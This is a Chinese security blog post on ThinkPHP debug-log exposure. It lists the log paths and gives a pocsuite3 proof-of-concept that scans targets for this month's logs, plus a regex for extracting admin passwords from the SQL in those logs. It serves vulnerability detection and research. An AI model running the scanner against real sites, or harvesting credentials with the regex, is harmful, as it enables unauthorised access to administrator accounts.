• thinkphp日志泄露


    漏洞简介

    thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志,虽然Thinkphp官方一再强调生产模式下需要关闭debug,但很多管理员还是忘记关闭。

    ThinkPHP3日志目录:

    • /Runtime/Logs/
    • /App/Runtime/Logs/
    • /Application/Runtime/Logs/Admin/
    • /Application/Runtime/Logs/Home/
    • /Application/Runtime/Logs/
    • ...

    日志格式为:/App/Runtime/Logs/21_05_17.log

    ThinkPHP5日志目录:

    • /runtime/log/

    日志格式为:/runtime/log/202105/17.log

    通过查看日志内容可以发现管理员登录时的SQL语句,进而获取管理员的密码

    检测POC

    把TP3和TP5的检测POC写在一起了,正则匹配出密码的这一步没有做,因为不同网站的查询SQL语句不一样,很难做到一个正则匹配完全。

    常规的密码正则匹配如下

    password_pattern = r"`username` = '{}' \) AND \( `password` = '(.*?)'".format(username)
    

    基于pocsuite3的日志检测POC(检测是否有本月内的日志)

    #!/usr/bin/env python 
    # -*- coding: utf-8 -*-
    # @Time    : 2022/2/26 12:46
    # @Author  : Cl0udG0d
    # @File    : thinkphp日志泄露.py
    # @Github: https://github.com/Cl0udG0d
    from pocsuite3.api import requests
    from pocsuite3.api import register_poc
    from pocsuite3.api import Output, POCBase, logger
    import ssl
    import datetime
    
    
    ssl._create_default_https_context = ssl._create_unverified_context
    
    class TestPOC(POCBase):
        vulLevel = 3
        vulID = ''
        version = '1.0'
        vulDate = ''
        references = ['']
        name = 'thinkphp日志泄露'
        appPowerLink = ''
        appName = 'thinkphp'
        appVersion = ''
        vulType = '敏感信息泄露'
        desc = '''
        '''
        samples = ['']
    
        def getTPLogFilename(self,version):
            now_year = datetime.datetime.now().year
            now_month = datetime.datetime.now().month
            now_day = datetime.datetime.now().day
            begin_date = datetime.date(now_year, now_month, 1)
            end_date = datetime.date(now_year, now_month, now_day)
    
            date_list = [begin_date + datetime.timedelta(days=i) for i in range((end_date - begin_date).days + 1)]
            filename_list = []
            for date in date_list:
                if version == 3:
                    filename_list.append(
                        "{:0>2d}_{:0>2d}_{:0>2d}.log".format(int(str(date.year)[2:]), date.month, date.day))
                elif version == 5:
                    filename_list.append("{}{:0>2d}/{:0>2d}.log".format(date.year, date.month, date.day))
            return filename_list
    
    
    
        def _verify(self):
            result = {}
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36',
            }
            log_path_list = {
                '3': ['/Runtime/Logs/', '/App/Runtime/Logs/', '/Application/Runtime/Logs/Admin/',
                    '/Application/Runtime/Logs/Home/', '/Application/Runtime/Logs/'],
                '5': ['/runtime/log/'],
            }
    
            for temppath in log_path_list['3']:
                filename_list=self.getTPLogFilename(3)
                for filename in filename_list:
                    logpath=temppath+filename
                    vulurl = "{}{}".format(
                        self.url.rstrip('/'), logpath)
                    logger.info("Scan {}".format(vulurl))
                    try:
                        resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False)
                        if "INFO" in resp.text and resp.status_code==200:
                            result['VerifyInfo'] = {}
                            result['VerifyInfo']['url'] = vulurl
                            return self.parse_attack(result)
                    except Exception as e:
                        logger.error("connect target '{} failed!'".format(vulurl))
                        pass
    
    
    
            for temppath in log_path_list['5']:
                filename_list=self.getTPLogFilename(5)
                for filename in filename_list:
                    logpath=temppath+filename
                    vulurl = "{}{}".format(
                        self.url.rstrip('/'), logpath)
                    logger.info("Scan {}".format(vulurl))
                    try:
                        resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False)
                        if "INFO" in resp.text and resp.status_code==200:
                            result['VerifyInfo'] = {}
                            result['VerifyInfo']['url'] = vulurl
                            return self.parse_attack(result)
                    except Exception as e:
                        logger.error("connect target '{} failed!'".format(vulurl))
                        pass
    
            return self.parse_attack(result)
    
    
    
        def parse_attack(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('Internet nothing returned')
            return output
    
    register_poc(TestPOC)
    

    检测效果

    单个检测:

    放到扫描器里面批量检测如图:

    参考链接

    END

    建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

    GIF GIF
  • 相关阅读:
    面试突击44:volatile 有什么用?
    面试突击42:synchronized和ReentrantLock有什么区别?
    面试突击45:为什么要用读写锁?它有什么优点?
    微信内打开链接,跳转到公众号关注页面
    阿里流水线使用教程
    windows自带 扫描修复系统
    20年前的网站页面
    微服务之 Consul 单机版到集群搭建详细步骤【转】
    iOS修改项目名称
    从零开始学YCFramework之初步
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/15941252.html
Copyright © 2020-2023  润新知